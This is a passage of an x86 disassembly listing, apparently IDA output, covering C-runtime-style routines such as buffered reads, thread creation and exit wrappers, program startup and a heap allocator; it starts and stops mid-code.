		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_4486B1	endp

; ---------------------------------------------------------------------------
		db 90h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4486E1	proc near		; CODE XREF: sub_4447B9+D8p
					; sub_446D74+CBp ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_C]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		mul	[ebp+arg_8]
		mov	esi, eax
		test	eax, eax
		jz	loc_4487E5
		cmp	[ebp+arg_4], 0
		jnz	loc_4487BB
		mov	eax, [ebp+arg_8]
		jmp	loc_4487E5
; ---------------------------------------------------------------------------


loc_448715:				; CODE XREF: sub_4486E1+DCj
		mov	eax, [ebx+18h]
		cmp	eax, [ebx+10h]
		ja	short loc_44872C
		push	ebx
		call	sub_449E21
		pop	ecx
		test	eax, eax
		jl	loc_4487C3


loc_44872C:				; CODE XREF: sub_4486E1+3Aj
		test	word ptr [ebx],	400h
		jz	short loc_448747
		push	esi
		push	0Ah
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_449F21
		add	esp, 0Ch
		mov	[ebp+var_10], eax
		jmp	short loc_44874E
; ---------------------------------------------------------------------------


loc_448747:				; CODE XREF: sub_4486E1+50j
		mov	[ebp+var_10], 0


loc_44874E:				; CODE XREF: sub_4486E1+64j
		mov	eax, [ebp+var_10]
		mov	[ebp+var_8], eax
		test	eax, eax
		jz	short loc_448766
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_4]
		sub	eax, edx
		inc	eax
		mov	[ebp+var_14], eax
		jmp	short loc_448769
; ---------------------------------------------------------------------------


loc_448766:				; CODE XREF: sub_4486E1+75j
		mov	[ebp+var_14], esi


loc_448769:				; CODE XREF: sub_4486E1+83j
		mov	edi, [ebp+var_14]
		mov	eax, [ebx+18h]
		mov	edx, [ebx+10h]
		sub	eax, edx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], edi
		jnb	short loc_448786
		mov	[ebp+var_8], 0
		mov	edi, [ebp+var_C]


loc_448786:				; CODE XREF: sub_4486E1+99j
		push	edi
		mov	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebx+10h]
		push	eax
		call	sub_4485B1
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
		add	eax, edi
		mov	[ebp+var_4], eax
		sub	esi, edi
		lea	eax, [ebx+10h]
		mov	edx, [eax]
		add	edx, edi
		mov	[eax], edx
		cmp	[ebp+var_8], 0
		jz	short loc_4487BB
		push	ebx
		call	sub_449C21
		pop	ecx
		test	eax, eax
		jnz	short loc_4487C3


loc_4487BB:				; CODE XREF: sub_4486E1+26j
					; sub_4486E1+CDj
		test	esi, esi
		jnz	loc_448715


loc_4487C3:				; CODE XREF: sub_4486E1+45j
					; sub_4486E1+D8j
		test	word ptr [ebx],	800h
		jz	short loc_4487D1
		push	ebx
		call	sub_449C21
		pop	ecx


loc_4487D1:				; CODE XREF: sub_4486E1+E7j
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		mul	[ebp+arg_8]
		sub	eax, esi
		mov	edx, [ebp+var_8]
		mov	ecx, edx
		xor	edx, edx
		div	ecx


loc_4487E5:				; CODE XREF: sub_4486E1+1Cj
					; sub_4486E1+2Fj
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4486E1	endp

; ---------------------------------------------------------------------------
		db 90h
		db 8Dh,	7Ch, 27h, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_40F894
		push	offset sub_4083B8
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		mov	ebx, [ebp+8]
		push	ebx
		mov	eax, dword_411770
		push	eax
		call	dword_411D98	; TlsSetValue
		test	eax, eax
		jnz	short loc_448833
		push	1
		call	sub_44A111
		pop	ecx


loc_448833:				; CODE XREF: DMN1:00448829j
		mov	dword ptr [ebp-4], 0
		mov	eax, [ebx+44h]
		push	eax
		call	dword ptr [ebx+40h]
		pop	ecx
		call	sub_448921
		jmp	short loc_448871
; ---------------------------------------------------------------------------
		mov	eax, [ebp-14h]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-1Ch], eax
		mov	eax, [ebp-14h]
		push	eax
		mov	eax, [ebp-1Ch]
		push	eax
		call	sub_44A121
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		mov	eax, [ebp-1Ch]
		push	eax
		call	sub_44A111
		pop	ecx


loc_448871:				; CODE XREF: DMN1:00448847j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_448891	proc near		; CODE XREF: DMN1:00444F26p
					; DMN1:00444FA3p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	48h
		call	sub_449121
		pop	ecx
		mov	ebx, eax
		test	eax, eax
		jz	short loc_448900
		push	ebx
		call	sub_449FE1
		pop	ecx
		mov	eax, [ebp+arg_0]
		mov	[ebx+40h], eax
		mov	eax, [ebp+arg_8]
		mov	[ebx+44h], eax
		push	ebx
		push	4
		push	ebx
		push	offset sub_407870
		mov	eax, [ebp+arg_4]
		push	eax
		push	0
		call	dword_411D9C	; CreateThread
		mov	edi, eax
		mov	[ebx+4], eax
		test	eax, eax
		jnz	short loc_4488E2
		call	dword_411CE8	; RtlGetLastWin32Error
		mov	esi, eax
		jmp	short loc_448900
; ---------------------------------------------------------------------------


loc_4488E2:				; CODE XREF: sub_448891+45j
		mov	eax, edi
		push	eax
		call	dword_411DA0	; ResumeThread
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4488FC
		call	dword_411CE8	; RtlGetLastWin32Error
		mov	esi, eax
		jmp	short loc_448900
; ---------------------------------------------------------------------------


loc_4488FC:				; CODE XREF: sub_448891+5Fj
		mov	eax, edi
		jmp	short loc_448915
; ---------------------------------------------------------------------------


loc_448900:				; CODE XREF: sub_448891+14j
					; sub_448891+4Fj ...
		push	ebx
		call	sub_448071
		pop	ecx
		test	esi, esi
		jz	short loc_448912
		push	esi
		call	sub_4491C1
		pop	ecx


loc_448912:				; CODE XREF: sub_448891+78j
		or	eax, 0FFFFFFFFh


loc_448915:				; CODE XREF: sub_448891+6Dj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_448891	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_448921	proc near		; CODE XREF: DMN1:00444AF2p
					; DMN1:00444F5Fp ...
		push	ebx
		call	sub_44A011
		mov	ebx, eax
		test	eax, eax
		jnz	short loc_448935
		push	1
		call	sub_44A111
		pop	ecx


loc_448935:				; CODE XREF: sub_448921+Aj
		cmp	dword ptr [ebx+4], 0FFFFFFFFh
		jz	short loc_448948
		mov	eax, [ebx+4]
		push	eax
		call	dword_411CF8	; CloseHandle


loc_448948:				; CODE XREF: sub_448921+1Bj
		push	ebx
		call	sub_44A081
		pop	ecx
		push	0
		call	dword_411DA4	; ExitThread
		pop	ebx
		retn
sub_448921	endp

; ---------------------------------------------------------------------------
		db 90h
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_448961	proc near		; CODE XREF: sub_4467F1+DAp
					; sub_4467F1+F1p ...

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 004489E7 SIZE 0000001B BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_40F8A0
		push	offset sub_4083B8
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		push	2
		call	sub_4496C1
		pop	ecx
		mov	[ebp+var_4], 0
		jmp	short loc_4489AD
; ---------------------------------------------------------------------------


loc_448998:				; CODE XREF: sub_448961+53j
		mov	eax, dword_4111A0
		lea	edx, [eax+1]
		mov	dword_4111A0, edx
		call	dword_411060[eax*4]


loc_4489AD:				; CODE XREF: sub_448961+35j
		cmp	dword_4111A0, 50h
		jb	short loc_448998
		jmp	short loc_4489CA
; ---------------------------------------------------------------------------


loc_4489B8:				; CODE XREF: sub_448961+70j
		mov	eax, dword_4111A4
		dec	eax
		mov	dword_4111A4, eax
		call	dword_411060[eax*4]


loc_4489CA:				; CODE XREF: sub_448961+55j
		cmp	dword_4111A4, 0
		jnz	short loc_4489B8
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_4489DE
		jmp	short loc_4489E7
sub_448961	endp


; =============== S U B	R O U T	I N E =======================================



sub_4489DE	proc near		; CODE XREF: sub_448961+76p
		push	2
		call	sub_449741
		pop	ecx
		retn
sub_4489DE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448961


loc_4489E7:				; CODE XREF: sub_448961+7Bj
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_44A111
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_448961
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)

; =============== S U B	R O U T	I N E =======================================



sub_448A11	proc near		; CODE XREF: DMN1:004475B0p
					; DMN1:004475DFp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_44A191
		pop	ecx
		retn
sub_448A11	endp

; ---------------------------------------------------------------------------
		db 8Dh,	7Ch, 27h, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_40F8AC
		push	offset sub_4083B8
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		sub	esp, 50h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		push	2000000h
		call	sub_44BDB1
		pop	ecx
		mov	dword_4117DC, eax
		call	sub_449531
		test	eax, eax
		jnz	short loc_448A68
		push	1
		call	sub_44A111
		pop	ecx


loc_448A68:				; CODE XREF: DMN1:00448A5Ej
		call	sub_449F51
		test	eax, eax
		jnz	short loc_448A79
		push	1
		call	sub_44A111
		pop	ecx


loc_448A79:				; CODE XREF: DMN1:00448A6Fj
		mov	dword ptr [ebp-4], 0
		call	sub_44A1C1
		call	sub_44A221
		call	sub_44A691
		call	sub_44A731
		mov	esi, offset dword_4101AC
		jmp	short loc_448AA0
; ---------------------------------------------------------------------------


loc_448A9B:				; CODE XREF: DMN1:00448AA6j
		call	dword ptr [esi]
		add	esi, 4


loc_448AA0:				; CODE XREF: DMN1:00448A99j
		cmp	esi, offset dword_4101AC
		jb	short loc_448A9B
		mov	dword ptr [ebp-30h], 0
		lea	eax, [ebp-5Ch]
		push	eax
		call	dword_411DA8	; GetStartupInfoA
		push	0
		call	dword_411D6C	; GetModuleHandleA
		mov	[ebp-60h], eax
		call	sub_44A7F1
		test	byte ptr [ebp-30h], 1
		jz	short loc_448AD5
		movzx	esi, word ptr [ebp-2Ch]
		jmp	short loc_448ADA
; ---------------------------------------------------------------------------


loc_448AD5:				; CODE XREF: DMN1:00448ACDj
		mov	esi, 0Ah


loc_448ADA:				; CODE XREF: DMN1:00448AD3j
		push	esi
		push	eax
		push	0
		mov	eax, [ebp-60h]
		push	eax
		call	sub_447C0A
		mov	ebx, eax
		mov	edi, offset dword_4101AC
		jmp	short loc_448AF5
; ---------------------------------------------------------------------------


loc_448AF0:				; CODE XREF: DMN1:00448AFBj
		call	dword ptr [edi]
		add	edi, 4


loc_448AF5:				; CODE XREF: DMN1:00448AEEj
		cmp	edi, offset dword_4101AC
		jb	short loc_448AF0
		push	ebx
		call	sub_448961
		pop	ecx
		jmp	short loc_448B2E
; ---------------------------------------------------------------------------
		mov	eax, [ebp-14h]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-1Ch], eax
		mov	eax, [ebp-14h]
		push	eax
		mov	eax, [ebp-1Ch]
		push	eax
		call	sub_44A121
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		mov	eax, [ebp-1Ch]
		push	eax
		call	sub_44A111
		pop	ecx


loc_448B2E:				; CODE XREF: DMN1:00448B04j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	0BCh, 27h, 4 dup(0)
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_448B51	proc near		; CODE XREF: sub_448DE1+ECp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		add	eax, 3
		shr	eax, 0Eh
		shl	eax, 0Eh
		lea	esi, [eax+4000h]
		mov	edi, esi
		shl	edi, 2
		push	edi
		call	sub_44A831
		pop	ecx
		mov	[ebp+var_8], eax
		test	eax, eax
		jnz	short loc_448B90
		mov	dword_4117E0, 0
		xor	eax, eax
		jmp	loc_448DCE
; ---------------------------------------------------------------------------


loc_448B90:				; CODE XREF: sub_448B51+2Cj
		mov	eax, dword_4127EC
		mov	edx, dword_4127E8
		add	eax, edx
		cmp	eax, [ebp+var_8]
		jnz	short loc_448BB6
		mov	ebx, dword_4127E8
		mov	eax, dword_4127EC
		add	edi, eax
		mov	esi, edi
		shr	esi, 2
		jmp	short loc_448BC3
; ---------------------------------------------------------------------------


loc_448BB6:				; CODE XREF: sub_448B51+4Fj
		mov	eax, [ebp+var_8]
		mov	ebx, eax
		mov	edx, ebx
		sub	edx, eax
		mov	eax, edx
		sub	edi, eax


loc_448BC3:				; CODE XREF: sub_448B51+63j
		mov	eax, esi
		shl	eax, 2
		lea	edx, [ebx+eax]
		mov	dword_4127E8, edx
		mov	edx, edi
		sub	edx, eax
		mov	eax, edx
		mov	dword_4127EC, eax
		mov	eax, dword_4111CC
		add	eax, 4
		cmp	ebx, eax
		jnz	short loc_448BF5
		cmp	dword_4111D4, 0
		jnz	loc_448D67


loc_448BF5:				; CODE XREF: sub_448B51+95j
		mov	eax, dword_4111D4
		mov	[ebp+var_C], eax
		mov	dword_4111D4, ebx
		mov	eax, [ebp+var_C]
		mov	[ebx], eax
		add	ebx, 4
		dec	esi
		mov	dword_4111CC, ebx
		mov	eax, dword_4111D0
		test	eax, eax
		jz	short loc_448C1F
		cmp	eax, ebx
		jbe	short loc_448C25


loc_448C1F:				; CODE XREF: sub_448B51+C8j
		mov	dword_4111D0, ebx


loc_448C25:				; CODE XREF: sub_448B51+CCj
		mov	eax, esi
		or	eax, 80000000h
		mov	[ebx], eax
		mov	eax, dword_4111CC
		lea	eax, [eax+esi*4-4]
		mov	dword_4111CC, eax
		mov	edx, dword_4111CC
		mov	eax, esi
		or	eax, 80000000h
		mov	[edx], eax
		sub	esi, 2
		add	ebx, 4
		mov	eax, dword_4111CC
		lea	ebx, [eax-4]
		cmp	esi, dword_4111E4
		ja	short loc_448C93
		cmp	esi, dword_4111DC
		ja	short loc_448C7B
		mov	eax, dword_4111D8
		cmp	esi, eax
		setnbe	al
		and	eax, 1
		mov	[ebp+var_10], eax
		jmp	short loc_448C8E
; ---------------------------------------------------------------------------


loc_448C7B:				; CODE XREF: sub_448B51+116j
		mov	eax, dword_4111E0
		cmp	esi, eax
		setnbe	al
		and	eax, 1
		add	eax, 2
		mov	[ebp+var_10], eax


loc_448C8E:				; CODE XREF: sub_448B51+128j
		mov	eax, [ebp+var_10]
		jmp	short loc_448CC3
; ---------------------------------------------------------------------------


loc_448C93:				; CODE XREF: sub_448B51+10Ej
		cmp	esi, dword_4111EC
		ja	short loc_448CB0
		mov	eax, dword_4111E8
		cmp	esi, eax
		setnbe	al
		and	eax, 1
		add	eax, 4
		mov	[ebp+var_10], eax
		jmp	short loc_448CC3
; ---------------------------------------------------------------------------


loc_448CB0:				; CODE XREF: sub_448B51+148j
		mov	eax, dword_4111F0
		cmp	esi, eax
		setnbe	al
		and	eax, 1
		add	eax, 6
		mov	[ebp+var_10], eax


loc_448CC3:				; CODE XREF: sub_448B51+140j
					; sub_448B51+15Dj
		mov	eax, [ebp+var_10]
		mov	dword_4111FC, eax
		mov	eax, dword_4111FC
		mov	eax, dword_4111A8[eax*4]
		mov	[ebp+var_18], eax
		test	eax, eax
		jnz	short loc_448D09
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], ebx
		mov	eax, dword_4111FC
		mov	dword_4111A8[eax*4], ebx
		mov	eax, dword_4111FC
		cmp	dword_4111F8, eax
		jle	short loc_448D12
		mov	eax, dword_4111FC
		mov	dword_4111F8, eax
		jmp	short loc_448D12
; ---------------------------------------------------------------------------


loc_448D09:				; CODE XREF: sub_448B51+18Bj
		mov	eax, [ebp+var_18]
		mov	eax, [eax-8]
		mov	[ebp+var_14], eax


loc_448D12:				; CODE XREF: sub_448B51+1AAj
					; sub_448B51+1B6j
		mov	eax, [ebp+var_18]
		mov	[ebx-4], eax
		mov	edx, [ebp+var_18]
		mov	[edx-8], ebx
		mov	edx, [ebp+var_14]
		mov	[edx-4], ebx
		mov	eax, [ebp+var_14]
		mov	[ebx-8], eax
		mov	eax, esi
		shl	eax, 2
		mov	edx, ebx
		sub	edx, eax
		mov	[edx+4], esi
		mov	[ebx], esi
		mov	eax, dword_4111FC
		mov	dword_4111A8[eax*4], ebx
		jmp	short loc_448D4C
; ---------------------------------------------------------------------------


loc_448D46:				; CODE XREF: sub_448B51+20Dj
		inc	dword_4111F8


loc_448D4C:				; CODE XREF: sub_448B51+1F3j
		mov	eax, dword_4111F8
		cmp	dword_4111A8[eax*4], 0
		jnz	short loc_448D60
		cmp	eax, 7
		jl	short loc_448D46


loc_448D60:				; CODE XREF: sub_448B51+208j
		mov	eax, 1
		jmp	short loc_448DCE
; ---------------------------------------------------------------------------


loc_448D67:				; CODE XREF: sub_448B51+9Ej
		add	ebx, 0FFFFFFFCh
		mov	eax, [ebx]
		and	eax, 7FFFFFFFh
		add	eax, esi
		mov	[ebp+var_4], eax
		mov	eax, esi
		or	eax, 80000000h
		mov	[ebx], eax
		mov	eax, dword_4111CC
		lea	eax, [eax+esi*4]
		mov	dword_4111CC, eax
		mov	edx, dword_4111CC
		mov	eax, [ebx]
		mov	[edx-4], eax
		mov	edx, dword_4111CC
		mov	eax, [ebp+var_4]
		or	eax, 80000000h
		mov	[edx], eax
		mov	eax, [ebp+var_4]
		mov	edx, dword_4111CC
		mov	ecx, eax
		shl	ecx, 2
		sub	edx, ecx
		or	eax, 80000000h
		mov	[edx+4], eax
		lea	eax, [ebx+4]
		push	eax
		call	sub_448071
		pop	ecx
		mov	eax, 1


loc_448DCE:				; CODE XREF: sub_448B51+3Aj
					; sub_448B51+214j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_448B51	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
		db 8Dh,	0BFh, 4	dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_448DE1	proc near		; CODE XREF: sub_449121+4Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	eax, [ebp+arg_0]
		add	eax, 3
		shr	eax, 2
		lea	esi, [eax+2]
		cmp	esi, 4
		jnb	short loc_448E02
		mov	esi, 4


loc_448E02:				; CODE XREF: sub_448DE1+1Aj
		xor	edi, edi
		cmp	esi, dword_4111E4
		ja	short loc_448E3E
		cmp	esi, dword_4111DC
		ja	short loc_448E26
		mov	eax, dword_4111D8
		cmp	esi, eax
		setnbe	al
		and	eax, 1
		mov	[ebp+var_10], eax
		jmp	short loc_448E39
; ---------------------------------------------------------------------------


loc_448E26:				; CODE XREF: sub_448DE1+31j
		mov	eax, dword_4111E0
		cmp	esi, eax
		setnbe	al
		and	eax, 1
		add	eax, 2
		mov	[ebp+var_10], eax


loc_448E39:				; CODE XREF: sub_448DE1+43j
		mov	eax, [ebp+var_10]
		jmp	short loc_448E6E
; ---------------------------------------------------------------------------


loc_448E3E:				; CODE XREF: sub_448DE1+29j
		cmp	esi, dword_4111EC
		ja	short loc_448E5B
		mov	eax, dword_4111E8
		cmp	esi, eax
		setnbe	al
		and	eax, 1
		add	eax, 4
		mov	[ebp+var_10], eax
		jmp	short loc_448E6E
; ---------------------------------------------------------------------------


loc_448E5B:				; CODE XREF: sub_448DE1+63j
		mov	eax, dword_4111F0
		cmp	esi, eax
		setnbe	al
		and	eax, 1
		add	eax, 6
		mov	[ebp+var_10], eax


loc_448E6E:				; CODE XREF: sub_448DE1+5Bj
					; sub_448DE1+78j
		mov	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, dword_4111F8
		cmp	[ebp+var_C], eax
		jge	short loc_448EBE
		mov	eax, dword_4111F8
		mov	[ebp+var_C], eax
		jmp	short loc_448EBE
; ---------------------------------------------------------------------------


loc_448E88:				; CODE XREF: sub_448DE1+E5j
		mov	eax, [ebp+var_C]
		lea	edx, [eax+1]
		mov	[ebp+var_C], edx
		mov	eax, dword_4111A8[eax*4]
		mov	ebx, eax
		test	eax, eax
		jz	short loc_448EBE
		mov	eax, dword_4111CC
		add	eax, 0FFFFFFFCh
		cmp	ebx, eax
		jnz	short loc_448EAD
		mov	ebx, [ebx-4]


loc_448EAD:				; CODE XREF: sub_448DE1+C7j
		mov	[ebp+var_4], ebx


loc_448EB0:				; CODE XREF: sub_448DE1+DBj
		mov	edi, [ebx]
		cmp	edi, esi
		jnb	short loc_448EBE
		mov	ebx, [ebx-4]
		cmp	ebx, [ebp+var_4]
		jnz	short loc_448EB0


loc_448EBE:				; CODE XREF: sub_448DE1+9Bj
					; sub_448DE1+A5j ...
		cmp	edi, esi
		jnb	short loc_448EC8
		cmp	[ebp+var_C], 8
		jl	short loc_448E88


loc_448EC8:				; CODE XREF: sub_448DE1+DFj
		cmp	edi, esi
		jnb	short loc_448EEE
		push	esi
		call	sub_448B51
		pop	ecx
		test	eax, eax
		jz	loc_449118
		mov	eax, dword_4111FC
		mov	[ebp+var_C], eax
		mov	ebx, dword_4111A8[eax*4]
		mov	edi, [ebx]
		jmp	short loc_448EF7
; ---------------------------------------------------------------------------


loc_448EEE:				; CODE XREF: sub_448DE1+E9j
		cmp	[ebp+var_C], 0
		jle	short loc_448EF7
		dec	[ebp+var_C]


loc_448EF7:				; CODE XREF: sub_448DE1+10Bj
					; sub_448DE1+111j
		mov	eax, edi
		sub	eax, esi
		mov	[ebp+var_14], eax
		cmp	eax, 4
		jb	loc_449080
		mov	eax, dword_4111E4
		cmp	[ebp+var_14], eax
		ja	short loc_448F47
		mov	eax, dword_4111DC
		cmp	[ebp+var_14], eax
		ja	short loc_448F2E
		mov	eax, dword_4111D8
		cmp	[ebp+var_14], eax
		setnbe	al
		and	eax, 1
		mov	[ebp+var_1C], eax
		jmp	short loc_448F42
; ---------------------------------------------------------------------------


loc_448F2E:				; CODE XREF: sub_448DE1+138j
		mov	eax, dword_4111E0
		cmp	[ebp+var_14], eax
		setnbe	al
		and	eax, 1
		add	eax, 2
		mov	[ebp+var_1C], eax


loc_448F42:				; CODE XREF: sub_448DE1+14Bj
		mov	eax, [ebp+var_1C]
		jmp	short loc_448F7B
; ---------------------------------------------------------------------------


loc_448F47:				; CODE XREF: sub_448DE1+12Ej
		mov	eax, dword_4111EC
		cmp	[ebp+var_14], eax
		ja	short loc_448F67
		mov	eax, dword_4111E8
		cmp	[ebp+var_14], eax
		setnbe	al
		and	eax, 1
		add	eax, 4
		mov	[ebp+var_1C], eax
		jmp	short loc_448F7B
; ---------------------------------------------------------------------------


loc_448F67:				; CODE XREF: sub_448DE1+16Ej
		mov	eax, dword_4111F0
		cmp	[ebp+var_14], eax
		setnbe	al
		and	eax, 1
		add	eax, 6
		mov	[ebp+var_1C], eax


loc_448F7B:				; CODE XREF: sub_448DE1+164j
					; sub_448DE1+184j
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_C]
		cmp	[ebp+var_18], eax
		jz	loc_44906D
		mov	eax, [ebx-4]
		mov	[ebp+var_20], eax
		cmp	ebx, [ebp+var_20]
		jnz	short loc_448FCF
		mov	eax, [ebp+var_C]
		mov	dword_4111A8[eax*4], 0
		mov	eax, [ebp+var_C]
		cmp	dword_4111F8, eax
		jnz	short loc_449000
		jmp	short loc_448FB9
; ---------------------------------------------------------------------------


loc_448FB3:				; CODE XREF: sub_448DE1+1EAj
		inc	dword_4111F8


loc_448FB9:				; CODE XREF: sub_448DE1+1D0j
		mov	eax, dword_4111F8
		cmp	dword_4111A8[eax*4], 0
		jnz	short loc_448FCD
		cmp	eax, 7
		jl	short loc_448FB3


loc_448FCD:				; CODE XREF: sub_448DE1+1E5j
		jmp	short loc_449000
; ---------------------------------------------------------------------------


loc_448FCF:				; CODE XREF: sub_448DE1+1B5j
		mov	eax, [ebx-8]
		mov	[ebp+var_24], eax
		mov	edx, [ebp+var_24]
		mov	eax, [ebp+var_20]
		mov	[edx-4], eax
		mov	edx, [ebp+var_20]
		mov	eax, [ebp+var_24]
		mov	[edx-8], eax
		mov	eax, [ebp+var_C]
		cmp	ebx, dword_4111A8[eax*4]
		jnz	short loc_449000
		mov	eax, [ebp+var_C]
		mov	edx, [ebp+var_24]
		mov	dword_4111A8[eax*4], edx


loc_449000:				; CODE XREF: sub_448DE1+1CEj
					; sub_448DE1:loc_448FCDj ...
		mov	eax, [ebp+var_18]
		mov	eax, dword_4111A8[eax*4]
		mov	[ebp+var_24], eax
		test	eax, eax
		jnz	short loc_449036
		mov	[ebp+var_20], ebx
		mov	[ebp+var_24], ebx
		mov	eax, [ebp+var_18]
		mov	dword_4111A8[eax*4], ebx
		mov	eax, [ebp+var_18]
		cmp	dword_4111F8, eax
		jle	short loc_44903F
		mov	eax, [ebp+var_18]
		mov	dword_4111F8, eax
		jmp	short loc_44903F
; ---------------------------------------------------------------------------


loc_449036:				; CODE XREF: sub_448DE1+22Ej
		mov	eax, [ebp+var_24]
		mov	eax, [eax-8]
		mov	[ebp+var_20], eax


loc_44903F:				; CODE XREF: sub_448DE1+249j
					; sub_448DE1+253j
		mov	eax, [ebp+var_24]
		mov	[ebx-4], eax
		mov	edx, [ebp+var_24]
		mov	[edx-8], ebx
		mov	edx, [ebp+var_20]
		mov	[edx-4], ebx
		mov	eax, [ebp+var_20]
		mov	[ebx-8], eax
		mov	eax, [ebp+var_14]
		mov	edx, eax
		shl	edx, 2
		mov	ecx, ebx
		sub	ecx, edx
		mov	[ecx+4], eax
		mov	[ebx], eax
		jmp	loc_4490F5
; ---------------------------------------------------------------------------


loc_44906D:				; CODE XREF: sub_448DE1+1A6j
		mov	eax, [ebp+var_14]
		mov	edx, eax
		shl	edx, 2
		mov	ecx, ebx
		sub	ecx, edx
		mov	[ecx+4], eax
		mov	[ebx], eax
		jmp	short loc_4490F5
; ---------------------------------------------------------------------------


loc_449080:				; CODE XREF: sub_448DE1+120j
		mov	eax, [ebx-4]
		mov	[ebp+var_1C], eax
		cmp	ebx, [ebp+var_1C]
		jnz	short loc_4490C2
		mov	eax, [ebp+var_C]
		mov	dword_4111A8[eax*4], 0
		mov	eax, [ebp+var_C]
		cmp	dword_4111F8, eax
		jnz	short loc_4490F3
		jmp	short loc_4490AC
; ---------------------------------------------------------------------------


loc_4490A6:				; CODE XREF: sub_448DE1+2DDj
		inc	dword_4111F8


loc_4490AC:				; CODE XREF: sub_448DE1+2C3j
		mov	eax, dword_4111F8
		cmp	dword_4111A8[eax*4], 0
		jnz	short loc_4490C0
		cmp	eax, 7
		jl	short loc_4490A6


loc_4490C0:				; CODE XREF: sub_448DE1+2D8j
		jmp	short loc_4490F3
; ---------------------------------------------------------------------------


loc_4490C2:				; CODE XREF: sub_448DE1+2A8j
		mov	eax, [ebx-8]
		mov	[ebp+var_20], eax
		mov	edx, [ebp+var_20]
		mov	eax, [ebp+var_1C]
